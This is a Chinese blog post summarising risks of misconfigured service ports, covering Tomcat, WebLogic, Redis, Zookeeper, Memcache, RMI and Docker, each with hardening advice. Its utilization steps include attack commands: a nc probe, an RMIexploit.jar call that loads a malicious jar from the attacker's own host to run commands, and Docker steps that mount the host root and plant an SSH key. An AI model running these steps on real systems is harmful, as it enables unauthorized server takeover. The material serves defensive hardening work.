常见服务端口安全风险总结

 

 

前言

 

 

在日常安全测试工作中,至少有30%以上的定级为严重和高危的漏洞,都是基于服务端口配置不当所造成的。

因此,本篇文章主要针对服务端口安全问题展开简单总结,希望能尽量减少在日常开发工作中的严重高危漏洞。(由于篇幅有限,本文只探讨平时在安全测试中所发现的端口服务漏洞)

 

我们都知道,Web服务一般都是通过端口号来识别的,而端口与服务的关系,就好像端口是闸门钥匙,服务是泄洪水库,当需要泄洪的时候需要用钥匙开启闸门。一旦钥匙保存不当(端口配置不当),那么这把钥匙就有可能被不怀好意的人所利用,所造成的后果往往是很严重的。比如敏感数据被窃取,服务器命令任意执行,服务器权限被非法获取等。下文来讲解具体的某些服务配置不当所造成的漏洞危害,以及如何去正确配置。

 

服务

 

Apache/Tomcat/Nginx等中间件(默认端口:80/8080)

 

1、弱口令(admin/admin,root/root等)

详解:有些应用开放了中间件的控制台页面,如果存在弱口令,可通过爆破登录控制台,对部署的应用进行任意操作,甚至可以上传恶意脚本getshell。

加固:以tomcat为例,删除tomcat目录下的ROOT文件;或者打开conf/tomcat-uers.xml,修改类似于<user username="admin" password="admin" roles="admin,manager"/>的用户名密码。

2、版本信息泄露

详解:当访问应用不存在的页面时,会返回中间件默认设置的404页面,该页面会泄露相关版本信息。某些版本的中间件含有特定漏洞 ,如果攻击者知道了版本信息,可能会针对该版本来进行攻击,因此需要我们自定义错误页面。

 

 

加固:在web.xml文件的<error-page>设置中,重定向到自定义的错误页面。

 

WebLogic(默认端口7001)

 

1、java反序列化

详解:Java反序列化即,由字节流还原成对象。ObjectInputStream类的readObject()方法用于反序列化。因此要利用Java反序列化漏洞,需要在进行反序列化的地方传入攻击者的序列化代码。Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.0和12.2.1.1版本存在反序列化远程命令执行漏洞,恶意人员可以通过构造恶意请求报文远程执行命令。

利用:同样的java反序列化漏洞,也存在于Jboss、Websphere、Jenkins容器中。可利用java反序列化测试工具进行测试。

 

 

加固:升级weblogic官方补丁包;或者删除特定文件,删除commons-collections.jar包内org/apache/commons/collections/functors/InvokerTransformer.class文件,要用压缩工具软件打开后直接删除。

 

2、Weblogic服务端请求伪造漏洞(SSRF)

详解:WebLogic 服务器的 UDDI 功能通常很隐蔽,但外部可以访问,Oracle的 WebLogic web服务器通常(a)外部可访问;(b)被允许调用对内部主机的连接。 SearchPublicRegistries.jsp 页面可被未认证的攻击者滥用,造成 WebLogic 服务器连接任意主机的任意端口。其返回信息非常详细,可被攻击者用来推断在指定端口是否有相关服务在监听。

利用:通过访问http://**.**.**.**/uddiexplorer/SearchPublicRegistries.jsp,点击search,拦截请求包,将operator参数改为想要探测的主机,通过响应信息科判断主机是否被监听,可探测内网。

 

 

加固:如果业务不需要UDDI功能,就关闭这个功能。可以删除uddiexporer文件夹,可以可在/weblogicPath/server/lib/uddiexplorer.war解压后,注释掉上面的jsp再打包。

 

Redis数据库(默认端口6379)

 

1、Redis未授权访问

详解:redis是一个开源的使用c语言写的,支持网络、可基于内存亦可持久化的日志型、key-value数据库。Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

利用:用redis-cli客户端尝试未授权访问,redis-cli -h ip。可获取redis数据库中敏感信息,还可以写入SSH公钥文件来登录受害服务器,从而获取服务器权限。

 

 

加固:为Redis 添加密码验证(重启redis才能生效):修改 redis.conf 文件,添加requirepass mypassword(注意redis不要用-a参数,明文输入密码,连接后使用auth证);或者禁止一些高危命令(重启redis才能生效)修改 redis.conf 文件,禁用远程修改 DB 文件地址:

rename-command FLUSHALL ""

rename-command CONFIG ""

rename-command EVAL ""

 

Zookeeper服务(默认端口2181)

 

1、未授权访问

详解:分布式的,开放源码的分布式应用程序协调服务。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。

利用:执行以下命令即可远程获取该服务器的环境:echo envi | nc ip port

直接连接:./zkCli.sh -server ip:port

加固: 1、禁止把Zookeeper直接暴露在公网2、添加访问控制,根据情况选择对应方式(认证用户,用户名密码)3、绑定指定IP访问

Memcache服务(默认端口11211)

1、未授权访问

详解:Memcache是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者通过命令交互可直接读取Memcached中的敏感信息。

利用:1、登录机器执行netstat -an |more命令查看端口监听情况。回显0.0.0.0:11211表示在所有网卡进行监听,存在memcached未授权访问漏洞。2、telnet <target> 11211,或nc -vv <target> 11211,提示连接成功表示漏洞存在。

加固:1、设置memchached只允许本地访问2、禁止外网访问Memcached 11211端口3、编译时加上–enable-sasl,启用SASL认证

RMI服务(默认端口1090、1099)

1、远程命令执行

详解:Java RMI服务是远程方法调用。它是一种机制,能够让在某个java虚拟机上的对象调用另一个Java虚拟机的对象的方法。1099端口原本对应的服务为 Apache ActiveMQ 对 JMX 的支持,但是由于配置不当,导致攻击者可以通过此端口利用 javax.management.loading.MLet的getMBeansFromURL 方法来加载一个远端恶意的 MBean ,即可以远程执行任意代码。当然,这个 JMX 的利用方法不仅仅在 ActiveMQ 上能够利用,在很多服务支持 JMX 的情况下其实也能够适用。

利用:利用攻击测试文件RMIexploit.jar(可从网上下载),其中的ErrorBaseExec.jar是一个自定义的可以执行回显的jar文件,将它放置到VPS上使得其可以通过http访问。命令行下执行java -jar RMIexploit.jar 目标ip 端口 http://自己ip:端口/ErroBaseExec.jar "命令"

Docker Remote API(默认端口2375)

1、Docker未授权访问

详解:Docker Remote API是一个取代远程命令行界面(rcli)的REST API。通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。

利用:通过访问http://ip/images/json可以获取到所有的 images 列表

http://host:2375/containers/json会返回服务器当前运行的 container列表,和在docker CLI上执行 docker ps 的效果一样,过Post包我们还可以新建、开启和关闭容器,其他操作比如拉取image等操作也都可以通过API调用完成。

Docker remote Api未授权访问的攻击原理与之前的Redis未授权访问漏洞大同小异,都是通过向运行该应用的服务器写文件,从而拿到服务器的权限,常见的利用方法如下:

(1)远程对被攻击的主机的docker容器进行操作:docker -H tcp://remoteip:2375 images

(2)启动一个容器并将宿主机根目录挂在到容器的mnt目录:docker -H tcp://remoteip:2375 run -it -v /:/mnt imageId /bin/bash

(3)在本地主机生成公钥文件:ssh-keygen

(4)在容器上的root目录中,mkdir .ssh 创建ssh目录;touch authorized_keys 创建文件

(5)将主机中的rsa.pub里的公钥写入容器中的authorized_keys文件里

(6)ssh root@ip 免密码登录宿主主机

加固:1、在不必需的情况下,不要启用docker的remote api服务,如果必须使用的话,可以采用如下的加固方式:设置ACL,仅允许信任的来源IP连接;设置TLS认证,官方的文档为Protect the Docker daemon socket

1、 客户端连接时需要设置以下环境变量export DOCKER_TLS_VERIFY=1

export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12

3、在 docker api 服务器前面加一个代理,例如 nginx,设置 401 认证

 

结束语

以上关于服务端口的漏洞,都是基于平时对公司产品进行安全测试时所发现的。在WEB应用中,能获取服务器权限或getshell的漏洞,很多都是由于开发人员疏忽了对服务端口的安全配置造成的。其实,只要做好对服务端口的正确配置和加固,就能避免相当一部分高中危甚至是严重的漏洞。

 

posted @ 2019-05-13 11:55  于天云  阅读(5876)  评论(0编辑  收藏  举报